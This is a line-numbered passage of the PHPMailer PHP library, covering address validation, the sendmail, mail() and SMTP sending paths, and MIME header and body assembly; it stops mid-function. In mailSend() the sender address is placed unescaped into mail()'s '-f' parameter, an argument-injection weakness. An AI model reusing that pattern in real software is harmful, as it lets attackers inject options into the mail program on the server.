2401 '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
2402 '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
2403 '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
2404 '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
2405 '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
2406 $address
2407 );
2408 case 'pcre':
2409 //An older regex that doesn't need a recent PCRE
2410 return (boolean)preg_match(
2411 '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
2412 '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
2413 '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
2414 '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
2415 '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
2416 '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
2417 '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
2418 '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
2419 '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
2420 '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
2421 $address
2422 );
2423 case 'html5':
2424 /**
2425 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
2426 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
2427 */
2428 return (boolean)preg_match(
2429 '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
2430 '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
2431 $address
2432 );
2433 case 'noregex':
2434 //No PCRE! Do something _very_ approximate!
2435 //Check the address is 3 chars or longer and contains an @ that's not the first or last char
2436 return (strlen($address) >= 3
2437 and strpos($address, '@') >= 1
2438 and strpos($address, '@') != strlen($address) - 1);
2439 case 'php':
2440 default:
2441 return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
2442 }
2443 }
2444
2445 /**
2446 * Create a message and send it.
2447 * Uses the sending method specified by $Mailer.
2448 * @throws phpmailerException
2449 * @return boolean false on error - See the ErrorInfo property for details of the error.
2450 */
2451 public function send()
2452 {
2453 try {
2454 if (!$this->preSend()) {
2455 return false;
2456 }
2457 return $this->postSend();
2458 } catch (phpmailerException $exc) {
2459 $this->mailHeader = '';
2460 $this->setError($exc->getMessage());
2461 if ($this->exceptions) {
2462 throw $exc;
2463 }
2464 return false;
2465 }
2466 }
2467
2468 /**
2469 * Prepare a message for sending.
2470 * @throws phpmailerException
2471 * @return boolean
2472 */
2473 public function preSend()
2474 {
2475 try {
2476 $this->mailHeader = '';
2477 if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
2478 throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
2479 }
2480
2481 // Set whether the message is multipart/alternative
2482 if (!empty($this->AltBody)) {
2483 $this->ContentType = 'multipart/alternative';
2484 }
2485
2486 $this->error_count = 0; // reset errors
2487 $this->setMessageType();
2488 // Refuse to send an empty message unless we are specifically allowing it
2489 if (!$this->AllowEmpty and empty($this->Body)) {
2490 throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
2491 }
2492
2493 $this->MIMEHeader = $this->createHeader();
2494 $this->MIMEBody = $this->createBody();
2495
2496 // To capture the complete message when using mail(), create
2497 // an extra header list which createHeader() doesn't fold in
2498 if ($this->Mailer == 'mail') {
2499 if (count($this->to) > 0) {
2500 $this->mailHeader .= $this->addrAppend('To', $this->to);
2501 } else {
2502 $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
2503 }
2504 $this->mailHeader .= $this->headerLine(
2505 'Subject',
2506 $this->encodeHeader($this->secureHeader(trim($this->Subject)))
2507 );
2508 }
2509
2510 // Sign with DKIM if enabled
2511 if (!empty($this->DKIM_domain)
2512 && !empty($this->DKIM_private)
2513 && !empty($this->DKIM_selector)
2514 && file_exists($this->DKIM_private)) {
2515 $header_dkim = $this->DKIM_Add(
2516 $this->MIMEHeader . $this->mailHeader,
2517 $this->encodeHeader($this->secureHeader($this->Subject)),
2518 $this->MIMEBody
2519 );
2520 $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
2521 str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
2522 }
2523 return true;
2524
2525 } catch (phpmailerException $exc) {
2526 $this->setError($exc->getMessage());
2527 if ($this->exceptions) {
2528 throw $exc;
2529 }
2530 return false;
2531 }
2532 }
2533
2534 /**
2535 * Actually send a message.
2536 * Send the email via the selected mechanism
2537 * @throws phpmailerException
2538 * @return boolean
2539 */
2540 public function postSend()
2541 {
2542 try {
2543 // Choose the mailer and send through it
2544 switch ($this->Mailer) {
2545 case 'sendmail':
2546 case 'qmail':
2547 return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
2548 case 'smtp':
2549 return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
2550 case 'mail':
2551 return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
2552 default:
2553 $sendMethod = $this->Mailer.'Send';
2554 if (method_exists($this, $sendMethod)) {
2555 return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
2556 }
2557
2558 return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
2559 }
2560 } catch (phpmailerException $exc) {
2561 $this->setError($exc->getMessage());
2562 $this->edebug($exc->getMessage());
2563 if ($this->exceptions) {
2564 throw $exc;
2565 }
2566 }
2567 return false;
2568 }
2569
2570 /**
2571 * Send mail using the $Sendmail program.
2572 * @param string $header The message headers
2573 * @param string $body The message body
2574 * @see PHPMailer::$Sendmail
2575 * @throws phpmailerException
2576 * @access protected
2577 * @return boolean
2578 */
2579 protected function sendmailSend($header, $body)
2580 {
2581 if ($this->Sender != '') {
2582 if ($this->Mailer == 'qmail') {
2583 $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
2584 } else {
2585 $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
2586 }
2587 } else {
2588 if ($this->Mailer == 'qmail') {
2589 $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
2590 } else {
2591 $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
2592 }
2593 }
2594 if ($this->SingleTo) {
2595 foreach ($this->SingleToArray as $toAddr) {
2596 if (!@$mail = popen($sendmail, 'w')) {
2597 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
2598 }
2599 fputs($mail, 'To: ' . $toAddr . "\n");
2600 fputs($mail, $header);
2601 fputs($mail, $body);
2602 $result = pclose($mail);
2603 $this->doCallback(
2604 ($result == 0),
2605 array($toAddr),
2606 $this->cc,
2607 $this->bcc,
2608 $this->Subject,
2609 $body,
2610 $this->From
2611 );
2612 if ($result != 0) {
2613 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
2614 }
2615 }
2616 } else {
2617 if (!@$mail = popen($sendmail, 'w')) {
2618 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
2619 }
2620 fputs($mail, $header);
2621 fputs($mail, $body);
2622 $result = pclose($mail);
2623 $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
2624 if ($result != 0) {
2625 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
2626 }
2627 }
2628 return true;
2629 }
2630
2631 /**
2632 * Send mail using the PHP mail() function.
2633 * @param string $header The message headers
2634 * @param string $body The message body
2635 * @link http://www.php.net/manual/en/book.mail.php
2636 * @throws phpmailerException
2637 * @access protected
2638 * @return boolean
2639 */
2640 protected function mailSend($header, $body)
2641 {
2642 $toArr = array();
2643 foreach ($this->to as $toaddr) {
2644 $toArr[] = $this->addrFormat($toaddr);
2645 }
2646 $to = implode(', ', $toArr);
2647
2648 if (empty($this->Sender)) {
2649 $params = ' ';
2650 } else {
2651 $params = sprintf('-f%s', $this->Sender);
2652 }
2653 if ($this->Sender != '' and !ini_get('safe_mode')) {
2654 $old_from = ini_get('sendmail_from');
2655 ini_set('sendmail_from', $this->Sender);
2656 }
2657 $result = false;
2658 if ($this->SingleTo && count($toArr) > 1) {
2659 foreach ($toArr as $toAddr) {
2660 $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
2661 $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
2662 }
2663 } else {
2664 $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
2665 $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
2666 }
2667 if (isset($old_from)) {
2668 ini_set('sendmail_from', $old_from);
2669 }
2670 if (!$result) {
2671 throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
2672 }
2673 return true;
2674 }
2675
2676 /**
2677 * Get an instance to use for SMTP operations.
2678 * Override this function to load your own SMTP implementation
2679 * @return SMTP
2680 */
2681 public function getSMTPInstance()
2682 {
2683 if (!is_object($this->smtp)) {
2684 $this->smtp = new SMTP;
2685 }
2686 return $this->smtp;
2687 }
2688
2689 /**
2690 * Send mail via SMTP.
2691 * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
2692 * Uses the PHPMailerSMTP class by default.
2693 * @see PHPMailer::getSMTPInstance() to use a different class.
2694 * @param string $header The message headers
2695 * @param string $body The message body
2696 * @throws phpmailerException
2697 * @uses SMTP
2698 * @access protected
2699 * @return boolean
2700 */
2701 protected function smtpSend($header, $body)
2702 {
2703 $bad_rcpt = array();
2704
2705 if (!$this->smtpConnect()) {
2706 throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
2707 }
2708 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
2709 if (!$this->smtp->mail($smtp_from)) {
2710 $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
2711 throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
2712 }
2713
2714 // Attempt to send to all recipients
2715 foreach ($this->to as $to) {
2716 if (!$this->smtp->recipient($to[0])) {
2717 $bad_rcpt[] = $to[0];
2718 $isSent = false;
2719 } else {
2720 $isSent = true;
2721 }
2722 $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
2723 }
2724 foreach ($this->cc as $cc) {
2725 if (!$this->smtp->recipient($cc[0])) {
2726 $bad_rcpt[] = $cc[0];
2727 $isSent = false;
2728 } else {
2729 $isSent = true;
2730 }
2731 $this->doCallback($isSent, array(), array($cc[0]), array(), $this->Subject, $body, $this->From);
2732 }
2733 foreach ($this->bcc as $bcc) {
2734 if (!$this->smtp->recipient($bcc[0])) {
2735 $bad_rcpt[] = $bcc[0];
2736 $isSent = false;
2737 } else {
2738 $isSent = true;
2739 }
2740 $this->doCallback($isSent, array(), array(), array($bcc[0]), $this->Subject, $body, $this->From);
2741 }
2742
2743 // Only send the DATA command if we have viable recipients
2744 if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
2745 throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
2746 }
2747 if ($this->SMTPKeepAlive) {
2748 $this->smtp->reset();
2749 } else {
2750 $this->smtp->quit();
2751 $this->smtp->close();
2752 }
2753 if (count($bad_rcpt) > 0) { // Create error message for any bad addresses
2754 throw new phpmailerException(
2755 $this->lang('recipients_failed') . implode(', ', $bad_rcpt),
2756 self::STOP_CONTINUE
2757 );
2758 }
2759 return true;
2760 }
2761
2762 /**
2763 * Initiate a connection to an SMTP server.
2764 * Returns false if the operation failed.
2765 * @param array $options An array of options compatible with stream_context_create()
2766 * @uses SMTP
2767 * @access public
2768 * @throws phpmailerException
2769 * @return boolean
2770 */
2771 public function smtpConnect($options = array())
2772 {
2773 if (is_null($this->smtp)) {
2774 $this->smtp = $this->getSMTPInstance();
2775 }
2776
2777 // Already connected?
2778 if ($this->smtp->connected()) {
2779 return true;
2780 }
2781
2782 $this->smtp->setTimeout($this->Timeout);
2783 $this->smtp->setDebugLevel($this->SMTPDebug);
2784 $this->smtp->setDebugOutput($this->Debugoutput);
2785 $this->smtp->setVerp($this->do_verp);
2786 $hosts = explode(';', $this->Host);
2787 $lastexception = null;
2788
2789 foreach ($hosts as $hostentry) {
2790 $hostinfo = array();
2791 if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
2792 // Not a valid host entry
2793 continue;
2794 }
2795 // $hostinfo[2]: optional ssl or tls prefix
2796 // $hostinfo[3]: the hostname
2797 // $hostinfo[4]: optional port number
2798 // The host string prefix can temporarily override the current setting for SMTPSecure
2799 // If it's not specified, the default value is used
2800 $prefix = '';
2801 $tls = ($this->SMTPSecure == 'tls');
2802 if ($hostinfo[2] == 'ssl' or ($hostinfo[2] == '' and $this->SMTPSecure == 'ssl')) {
2803 $prefix = 'ssl://';
2804 $tls = false; // Can't have SSL and TLS at once
2805 } elseif ($hostinfo[2] == 'tls') {
2806 $tls = true;
2807 // tls doesn't use a prefix
2808 }
2809 $host = $hostinfo[3];
2810 $port = $this->Port;
2811 $tport = (integer)$hostinfo[4];
2812 if ($tport > 0 and $tport < 65536) {
2813 $port = $tport;
2814 }
2815 if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
2816 try {
2817 if ($this->Helo) {
2818 $hello = $this->Helo;
2819 } else {
2820 $hello = $this->serverHostname();
2821 }
2822 $this->smtp->hello($hello);
2823
2824 if ($tls) {
2825 if (!$this->smtp->startTLS()) {
2826 throw new phpmailerException($this->lang('connect_host'));
2827 }
2828 // We must resend HELO after tls negotiation
2829 $this->smtp->hello($hello);
2830 }
2831 if ($this->SMTPAuth) {
2832 if (!$this->smtp->authenticate(
2833 $this->Username,
2834 $this->Password,
2835 $this->AuthType,
2836 $this->Realm,
2837 $this->Workstation
2838 )
2839 ) {
2840 throw new phpmailerException($this->lang('authenticate'));
2841 }
2842 }
2843 return true;
2844 } catch (phpmailerException $exc) {
2845 $lastexception = $exc;
2846 // We must have connected, but then failed TLS or Auth, so close connection nicely
2847 $this->smtp->quit();
2848 }
2849 }
2850 }
2851 // If we get here, all connection attempts have failed, so close connection hard
2852 $this->smtp->close();
2853 // As we've caught all exceptions, just report whatever the last one was
2854 if ($this->exceptions and !is_null($lastexception)) {
2855 throw $lastexception;
2856 }
2857 return false;
2858 }
2859
2860 /**
2861 * Close the active SMTP session if one exists.
2862 * @return void
2863 */
2864 public function smtpClose()
2865 {
2866 if ($this->smtp !== null) {
2867 if ($this->smtp->connected()) {
2868 $this->smtp->quit();
2869 $this->smtp->close();
2870 }
2871 }
2872 }
2873
2874 /**
2875 * Set the language for error messages.
2876 * Returns false if it cannot load the language file.
2877 * The default language is English.
2878 * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
2879 * @param string $lang_path Path to the language file directory, with trailing separator (slash)
2880 * @return boolean
2881 * @access public
2882 */
2883 public function setLanguage($langcode = 'en', $lang_path = '')
2884 {
2885 // Define full set of translatable strings in English
2886 $PHPMAILER_LANG = array(
2887 'authenticate' => 'SMTP Error: Could not authenticate.',
2888 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
2889 'data_not_accepted' => 'SMTP Error: data not accepted.',
2890 'empty_message' => 'Message body empty',
2891 'encoding' => 'Unknown encoding: ',
2892 'execute' => 'Could not execute: ',
2893 'file_access' => 'Could not access file: ',
2894 'file_open' => 'File Error: Could not open file: ',
2895 'from_failed' => 'The following From address failed: ',
2896 'instantiate' => 'Could not instantiate mail function.',
2897 'invalid_address' => 'Invalid address',
2898 'mailer_not_supported' => ' mailer is not supported.',
2899 'provide_address' => 'You must provide at least one recipient email address.',
2900 'recipients_failed' => 'SMTP Error: The following recipients failed: ',
2901 'signing' => 'Signing Error: ',
2902 'smtp_connect_failed' => 'SMTP connect() failed.',
2903 'smtp_error' => 'SMTP server error: ',
2904 'variable_set' => 'Cannot set or reset variable: '
2905 );
2906 if (empty($lang_path)) {
2907 // Calculate an absolute path so it can work if CWD is not here
2908 $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
2909 }
2910 $foundlang = true;
2911 $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
2912 if ($langcode != 'en') { // There is no English translation file
2913 // Make sure language file path is readable
2914 if (!is_readable($lang_file)) {
2915 $foundlang = false;
2916 } else {
2917 // Overwrite language-specific strings.
2918 // This way we'll never have missing translations.
2919 $foundlang = include $lang_file;
2920 }
2921 }
2922 $this->language = $PHPMAILER_LANG;
2923 return (boolean)$foundlang; // Returns false if language not found
2924 }
2925
2926 /**
2927 * Get the array of strings for the current language.
2928 * @return array
2929 */
2930 public function getTranslations()
2931 {
2932 return $this->language;
2933 }
2934
2935 /**
2936 * Create recipient headers.
2937 * @access public
2938 * @param string $type
2939 * @param array $addr An array of recipient,
2940 * where each recipient is a 2-element indexed array with element 0 containing an address
2941 * and element 1 containing a name, like:
2942 * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
2943 * @return string
2944 */
2945 public function addrAppend($type, $addr)
2946 {
2947 $addresses = array();
2948 foreach ($addr as $address) {
2949 $addresses[] = $this->addrFormat($address);
2950 }
2951 return $type . ': ' . implode(', ', $addresses) . $this->LE;
2952 }
2953
2954 /**
2955 * Format an address for use in a message header.
2956 * @access public
2957 * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
2958 * like array('joe@example.com', 'Joe User')
2959 * @return string
2960 */
2961 public function addrFormat($addr)
2962 {
2963 if (empty($addr[1])) { // No name provided
2964 return $this->secureHeader($addr[0]);
2965 } else {
2966 return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
2967 $addr[0]
2968 ) . '>';
2969 }
2970 }
2971
2972 /**
2973 * Word-wrap message.
2974 * For use with mailers that do not automatically perform wrapping
2975 * and for quoted-printable encoded messages.
2976 * Original written by philippe.
2977 * @param string $message The message to wrap
2978 * @param integer $length The line length to wrap to
2979 * @param boolean $qp_mode Whether to run in Quoted-Printable mode
2980 * @access public
2981 * @return string
2982 */
2983 public function wrapText($message, $length, $qp_mode = false)
2984 {
2985 $soft_break = ($qp_mode) ? sprintf(' =%s', $this->LE) : $this->LE;
2986 // If utf-8 encoding is used, we will need to make sure we don't
2987 // split multibyte characters when we wrap
2988 $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
2989 $lelen = strlen($this->LE);
2990 $crlflen = strlen(self::CRLF);
2991
2992 $message = $this->fixEOL($message);
2993 if (substr($message, -$lelen) == $this->LE) {
2994 $message = substr($message, 0, -$lelen);
2995 }
2996
2997 $line = explode($this->LE, $message); // Magic. We know fixEOL uses $LE
2998 $message = '';
2999 for ($i = 0; $i < count($line); $i++) {
3000 $line_part = explode(' ', $line[$i]);
3001 $buf = '';
3002 for ($e = 0; $e < count($line_part); $e++) {
3003 $word = $line_part[$e];
3004 if ($qp_mode and (strlen($word) > $length)) {
3005 $space_left = $length - strlen($buf) - $crlflen;
3006 if ($e != 0) {
3007 if ($space_left > 20) {
3008 $len = $space_left;
3009 if ($is_utf8) {
3010 $len = $this->utf8CharBoundary($word, $len);
3011 } elseif (substr($word, $len - 1, 1) == '=') {
3012 $len--;
3013 } elseif (substr($word, $len - 2, 1) == '=') {
3014 $len -= 2;
3015 }
3016 $part = substr($word, 0, $len);
3017 $word = substr($word, $len);
3018 $buf .= ' ' . $part;
3019 $message .= $buf . sprintf('=%s', self::CRLF);
3020 } else {
3021 $message .= $buf . $soft_break;
3022 }
3023 $buf = '';
3024 }
3025 while (strlen($word) > 0) {
3026 if ($length <= 0) {
3027 break;
3028 }
3029 $len = $length;
3030 if ($is_utf8) {
3031 $len = $this->utf8CharBoundary($word, $len);
3032 } elseif (substr($word, $len - 1, 1) == '=') {
3033 $len--;
3034 } elseif (substr($word, $len - 2, 1) == '=') {
3035 $len -= 2;
3036 }
3037 $part = substr($word, 0, $len);
3038 $word = substr($word, $len);
3039
3040 if (strlen($word) > 0) {
3041 $message .= $part . sprintf('=%s', self::CRLF);
3042 } else {
3043 $buf = $part;
3044 }
3045 }
3046 } else {
3047 $buf_o = $buf;
3048 $buf .= ($e == 0) ? $word : (' ' . $word);
3049
3050 if (strlen($buf) > $length and $buf_o != '') {
3051 $message .= $buf_o . $soft_break;
3052 $buf = $word;
3053 }
3054 }
3055 }
3056 $message .= $buf . self::CRLF;
3057 }
3058
3059 return $message;
3060 }
3061
3062 /**
3063 * Find the last character boundary prior to $maxLength in a utf-8
3064 * quoted (printable) encoded string.
3065 * Original written by Colin Brown.
3066 * @access public
3067 * @param string $encodedText utf-8 QP text
3068 * @param integer $maxLength find last character boundary prior to this length
3069 * @return integer
3070 */
3071 public function utf8CharBoundary($encodedText, $maxLength)
3072 {
3073 $foundSplitPos = false;
3074 $lookBack = 3;
3075 while (!$foundSplitPos) {
3076 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
3077 $encodedCharPos = strpos($lastChunk, '=');
3078 if (false !== $encodedCharPos) {
3079 // Found start of encoded character byte within $lookBack block.
3080 // Check the encoded byte value (the 2 chars after the '=')
3081 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
3082 $dec = hexdec($hex);
3083 if ($dec < 128) { // Single byte character.
3084 // If the encoded char was found at pos 0, it will fit
3085 // otherwise reduce maxLength to start of the encoded char
3086 $maxLength = ($encodedCharPos == 0) ? $maxLength :
3087 $maxLength - ($lookBack - $encodedCharPos);
3088 $foundSplitPos = true;
3089 } elseif ($dec >= 192) { // First byte of a multi byte character
3090 // Reduce maxLength to split at start of character
3091 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
3092 $foundSplitPos = true;
3093 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
3094 $lookBack += 3;
3095 }
3096 } else {
3097 // No encoded character found
3098 $foundSplitPos = true;
3099 }
3100 }
3101 return $maxLength;
3102 }
3103
3104 /**
3105 * Set the body wrapping.
3106 * @access public
3107 * @return void
3108 */
3109 public function setWordWrap()
3110 {
3111 if ($this->WordWrap < 1) {
3112 return;
3113 }
3114
3115 switch ($this->message_type) {
3116 case 'alt':
3117 case 'alt_inline':
3118 case 'alt_attach':
3119 case 'alt_inline_attach':
3120 $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
3121 break;
3122 default:
3123 $this->Body = $this->wrapText($this->Body, $this->WordWrap);
3124 break;
3125 }
3126 }
3127
3128 /**
3129 * Assemble message headers.
3130 * @access public
3131 * @return string The assembled headers
3132 */
3133 public function createHeader()
3134 {
3135 $result = '';
3136
3137 // Set the boundaries
3138 $uniq_id = md5(uniqid(time()));
3139 $this->boundary[1] = 'b1_' . $uniq_id;
3140 $this->boundary[2] = 'b2_' . $uniq_id;
3141 $this->boundary[3] = 'b3_' . $uniq_id;
3142
3143 if ($this->MessageDate == '') {
3144 $this->MessageDate = self::rfcDate();
3145 }
3146 $result .= $this->headerLine('Date', $this->MessageDate);
3147
3148
3149 // To be created automatically by mail()
3150 if ($this->SingleTo) {
3151 if ($this->Mailer != 'mail') {
3152 foreach ($this->to as $toaddr) {
3153 $this->SingleToArray[] = $this->addrFormat($toaddr);
3154 }
3155 }
3156 } else {
3157 if (count($this->to) > 0) {
3158 if ($this->Mailer != 'mail') {
3159 $result .= $this->addrAppend('To', $this->to);
3160 }
3161 } elseif (count($this->cc) == 0) {
3162 $result .= $this->headerLine('To', 'undisclosed-recipients:;');
3163 }
3164 }
3165
3166 $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
3167
3168 // sendmail and mail() extract Cc from the header before sending
3169 if (count($this->cc) > 0) {
3170 $result .= $this->addrAppend('Cc', $this->cc);
3171 }
3172
3173 // sendmail and mail() extract Bcc from the header before sending
3174 if ((
3175 $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
3176 )
3177 and count($this->bcc) > 0
3178 ) {
3179 $result .= $this->addrAppend('Bcc', $this->bcc);
3180 }
3181
3182 if (count($this->ReplyTo) > 0) {
3183 $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
3184 }
3185
3186 // mail() sets the subject itself
3187 if ($this->Mailer != 'mail') {
3188 $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
3189 }
3190
3191 if ($this->MessageID != '') {
3192 $this->lastMessageID = $this->MessageID;
3193 } else {
3194 $this->lastMessageID = sprintf('<%s@%s>', $uniq_id, $this->ServerHostname());
3195 }
3196 $result .= $this->HeaderLine('Message-ID', $this->lastMessageID);
3197 $result .= $this->headerLine('X-Priority', $this->Priority);
3198 if ($this->XMailer == '') {
3199 $result .= $this->headerLine(
3200 'X-Mailer',
3201 'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer/)'
3202 );
3203 } else {
3204 $myXmailer = trim($this->XMailer);
3205 if ($myXmailer) {
3206 $result .= $this->headerLine('X-Mailer', $myXmailer);
3207 }
3208 }
3209
3210 if ($this->ConfirmReadingTo != '') {
3211 $result .= $this->headerLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
3212 }
3213
3214 // Add custom headers
3215 for ($index = 0; $index < count($this->CustomHeader); $index++) {
3216 $result .= $this->headerLine(
3217 trim($this->CustomHeader[$index][0]),
3218 $this->encodeHeader(trim($this->CustomHeader[$index][1]))
3219 );
3220 }
3221 if (!$this->sign_key_file) {
3222 $result .= $this->headerLine('MIME-Version', '1.0');
3223 $result .= $this->getMailMIME();
3224 }
3225
3226 return $result;
3227 }
3228
3229 /**
3230 * Get the message MIME type headers.
3231 * @access public
3232 * @return string
3233 */
3234 public function getMailMIME()
3235 {
3236 $result = '';
3237 $ismultipart = true;
3238 switch ($this->message_type) {
3239 case 'inline':
3240 $result .= $this->headerLine('Content-Type', 'multipart/related;');
3241 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
3242 break;
3243 case 'attach':
3244 case 'inline_attach':
3245 case 'alt_attach':
3246 case 'alt_inline_attach':
3247 $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
3248 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
3249 break;
3250 case 'alt':
3251 case 'alt_inline':
3252 $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
3253 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
3254 break;
3255 default:
3256 // Catches case 'plain': and case '':
3257 $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
3258 $ismultipart = false;
3259 break;
3260 }
3261 // RFC1341 part 5 says 7bit is assumed if not specified
3262 if ($this->Encoding != '7bit') {
3263 // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
3264 if ($ismultipart) {
3265 if ($this->Encoding == '8bit') {
3266 $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
3267 }
3268 // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
3269 } else {
3270 $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
3271 }
3272 }
3273
3274 if ($this->Mailer != 'mail') {
3275 $result .= $this->LE;
3276 }
3277
3278 return $result;
3279 }
3280
3281 /**
3282 * Returns the whole MIME message.
3283 * Includes complete headers and body.
3284 * Only valid post preSend().
3285 * @see PHPMailer::preSend()
3286 * @access public
3287 * @return string
3288 */
3289 public function getSentMIMEMessage()
3290 {
3291 return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
3292 }
3293
3294
3295 /**
3296 * Assemble the message body.
3297 * Returns an empty string on failure.
3298 * @access public
3299 * @throws phpmailerException
3300 * @return string The assembled message body
3301 */
3302 public function createBody()
3303 {
3304 $body = '';
3305
3306 if ($this->sign_key_file) {
3307 $body .= $this->getMailMIME() . $this->LE;
3308 }
3309
3310 $this->setWordWrap();
3311
3312 $bodyEncoding = $this->Encoding;
3313 $bodyCharSet = $this->CharSet;
3314 if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
